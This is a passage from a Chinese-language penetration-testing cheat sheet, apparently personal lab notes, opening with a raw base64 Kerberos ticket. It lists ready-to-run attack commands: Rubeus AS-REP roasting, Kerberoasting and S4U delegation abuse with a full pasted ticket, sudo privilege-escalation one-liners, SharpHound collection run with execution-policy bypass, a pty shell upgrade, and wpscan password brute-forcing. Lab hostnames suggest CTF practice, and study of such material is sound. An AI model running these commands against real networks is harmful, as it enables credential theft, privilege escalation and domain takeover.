TeT1pD2Pq4ynHiP2lLzkaFkLl7eD8H9JbBp0Dbkti6y651Qv5Ngs/nEzVnYJcZ7BGLFoNtrz6luZc5gnvCjIMyLS0HNcp5G6LdzHQNUa+11E2oOMslLWZHzN6EuV1dvfvxpeAfA3rdI/40aRfVif4dn4OOKtAhITlgKjbXqXe6kQrnX2uVHONtRfSI4lTaKBWtbc9Qz+fOIdxvVpiiHJmjDDl4wAmPlYulH7vlMnHd//KYXiQJ+WxAd0iALxbpzI0fhn4o1zzb3q5MBC/NgV+ybFi4/sbGvfccBRzYFjskVx72FfxrrGBePKe1xgcD8zYJmQKeSIi2twC019R//ZjVjENv8iE8C3Y/Zy8zxuPzPW/5VgM0otk0W+9ZqIPbAWQtwd/0ojRI2Q2qW4VOZC3FaOBzTCByqADAgEAooHCBIG/fYG8MIG5oIG2MIGzMIGwoBswGaADAgEXoRIEEOlinK++DJvbkp9/P+WbHAehChsIVEVTVC5DT02iGDAWoAMCAQGhDzANGwtCYW5Hb25nLUExJKMHAwUAQOEAAKURGA8yMDIzMDIyNTE2Mjc0NVqmERgPMjAyMzAyMjYwMjI3NDVapxEYDzIwMjMwMzA0MTYyNzQ1WqgKGwhURVNULkNPTakdMBugAwIBAqEUMBIbBmtyYnRndBsIdGVzdC5jb20=
TGT文件方式:	
Rubeus.exe asktgs /service:cifs/BanGong-A1.test.com /nowarp /outfile:cifs.BanGong-A1$.kirbi /ticket:BanGong-A1$.kirbi

AS-REP Roasting攻击

如果当前主机在域内会自动搜索不需要预认证的用户进行AS-REP Roasting攻击,并将该用户加密的
Login Session Key以John能破解的格式保存为hash.txt
Rubeus.exe asreproast /format:john /outfile:res.txt

Kerberoasting攻击

Rubeus会对所有用户或特定用户执行Kerberoasting操作,使用LDAP查询配置了SPN的用户在发送,
TGS包直接打印能够使用John或hashcat能够破解的Hash。
Rubeus.exe kerberoast /format:john /outfile:kerberoasting.txt

委派攻击

约束委派攻击与基于资源的约束委派命令参数相同
	假设拿到了BANGONG-A1机器的控制器配置了到cifs/域控的服务约束委派,可以
	来利用Rubeus攻击进行约束委派攻击拿到域控控制器。
	首先申请拿到BANGONG-A1$的TGT,base64或者是票据文件都可以
	Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:CIFS/WIN-AD.test.com /dc:WIN-AD.test.com /ptt /ticket:doIE2DCCBNSgAwIBBaEDAgEWooID9jCCA/JhggPuMIID6qADAgEFoQobCFRFU1QuQ09Noh0wG6ADAgECoRQwEhsGa3JidGd0Gwh0ZXN0LmNvbaOCA7YwggOyoAMCARKhAwIBAqKCA6QEggOg77nEHly5rjC1EKKbH81S0em5pAVFwL4UJAgMif3I0SYJCHeJGXkmydyAvB5KhdUQI2q87xZaCQtqIsRZl58S6B8h9vZdQJqVPbkfDjsLvGkZi7DUXYaI+k2PznlN+yvuT1NpkvG/uzaNAN7XfCC5E8c1qHYtug/TUuL/PXlg7Ww1jeJ98NDHpkw8hdOcpvb1FvNsLtvvQctxWKJekWy682G7+8HZLTgH9Pp+VyXJIaqSERv81x8g4MHD2emKdh5ll6MkAICos0QLRiuezXAsJZsTQzwUVX/YYUV/1+UXNBSJVbaXeUGtEANCRtYDctnzQMIa58Rf0Xg6oIxkISXvX3zp/0qrTlK0bKmHIgWlGlEMJkCZJrMtsc98xsvJrINmmamQXYAcCczCMKz00Cq6c/6dNWMvy9Vqk5OwhwrFFT8uJI5zibwccrNvJpsDu4LLWGrBR3GUdEnibeXS2psrph9UZ3zaLgAJ6gGZriVCpNGVqdTHsL6z1i5tVN6slcGlNFouXr7WMxigdF2oYFyUMYso8nRbONXK1JcgmapbjuKXUlN9YXJUzyFEoAJ4xO4MfEO6O+CfcYviJ+vbOdnHZ1aMym43JFuofSbk/C5p01p38R6oxWUXeGELqucSsecA6Yk/0HbAN2SDCcy4iWUhANbk1W1FdxY4phol/5fZ+F6tQn188m1FrZmhX/4xrll/+J+s/PrZVVoqLk0Ebi5Yis9bxwOrWl/mQlvUS/G851fZPJOmU0jMlZ5V3Fji1xtGbuYwa0Ifm/v4Zk1mDxxn/ZHtxiLoKHCdYMuBcevvGC60cLMajfWG8qEryoSvdDVU7S8Yd3IEWtFuoDdCmxl9ajraQZUWDc+uG74fALl7FBQznK8+XRwNSHpJOHbf+OEn0seSwbp43hx6rkkxtXWKQTPL/FEeWPOGXQcZ1iBqqz6HXdOl6syifLfRuc7qrMjEDz2ueIktylytqw+BrqUL24ma2t5bf+GE4pzQ6m6VLsdOk3uAE6L0Jx3tPM0jub6stg8/M3CDYxXyVSOwRNggeTMXTkmir5gGMnTSQ/7H1gN4L5dxEgc2QfQJso1RObL/Xsp0De0QuclaSUvHTVbxR4iSJlPmF/gvLERQDeHVsXRyeFX6nYPQfAYjZPzM5r0UyWhHunPm47rRyfueKi4lLPfOJsUB4tw4jHU+0/KJVnK3HE0cZDtNrCK81R+RtOkl1ZScHoys6Iiaxc7pEiWDe6OBzTCByqADAgEAooHCBIG/fYG8MIG5oIG2MIGzMIGwoBswGaADAgEXoRIEEM+WCCKp33UsZlHHn+wuaNyhChsIVEVTVC5DT02iGDAWoAMCAQGhDzANGwtCYW5Hb25nLUExJKMHAwUAQOEAAKURGA8yMDIzMDIyNTE3NDYxM1qmERgPMjAyMzAyMjYwMzQ2MTNapxEYDzIwMjMwMzA0MTc0NjEzWqgKGwhURVNULkNPTakdMBugAwIBAqEUMBIbBmtyYnRndBsIdGVzdC5jb20=

monitor

monitor 操作将监视 4624 登录事件,并提取新登录 ID(LUID)的任意 TGT 票据。、interval 参数(以秒为单位,默认为60)来指定检查事件日志的频率。/filteruser:X 参数用于指定只返回特定用户的票据。此功能在没有设置约束委派的服务器上特别有用。

/fiteruser 指定的用户(如果未指定,则任何用户)创建一个新的4624登录事件时,将输出所有提取到的 TGT KRB-CRED 数据。

nikto

Nikto是一个开源的WEB扫描评估软件,可以对Web服务器进行多项安全测试,能在230多种服务器上扫描出 2600多种有潜在危险的文件、CGI及其他问题。Nikto可以扫描指定主机的WEB类型、主机名、指定目录、特定CGI漏洞、返回主机允许的 http模式等。

nikto常用命令

-upodate   升级,更新插件
-host       扫描目标URl
-id username:password  http认证接口
-list-plugins   列出所有可用的插件
-evasion   IDS/IPS逃避技术(实例演示里有详细信息)
-port   指定端口(默认80)
-ssl    使用SSL
-useproxy   使用http代理
-vhost  域名      当一个IP拥有多个网站时 使用

nikto交互参数(扫描过程中使用)

空格        报告当前扫描状态
v             显示详细信息
d             显示调试信息
e             显示http错误信息
p             显示扫描进度
r              显示重定向信息
c             显示cookie
a             显示身份认证过程
q             退出程序
N            扫描下一个目标
P            暂停扫描

提权

sudo php -r ‘system(" /bin/bash"); '

sudo su

sudo -i

bloodhound

下载

kali安装neo4j和bloodhound

安装好neo4j先访问http://127.0.0.1:7474修改默认密码,先neo4j:neo4j登录,然后修改,我修改成了neo4j:kali

登录

image-20240317022206774

在控制的机器上传SharpHound.exe执行SharpHound.exe -c all或是用powershellpowershell -exec bypass -command "Import-Module ./SharpHound.ps1; Invoke-BloodHound -c all"得到zip

在 BloodHound 右侧图标里点击 Upload Data,之后上传刚才生成的压缩包就可以导入数据了。

或者直接将 zip 压缩包拖拽到 BloodHound 里也可以导入数据。

交互窗口

python3 -c 'import pty;pty.spawn("/bin/bash")'

CMS

CMSeek

python3 cmseek.py --url http://wordy

joomscan

perl joomscan.pl --url http://192.168.0.108

wpscan

wpscan --url url -e u     //用户名枚举
wpscan --url http://dc-2 -U user.txt -P dc-2.txt   //爆破密码
0%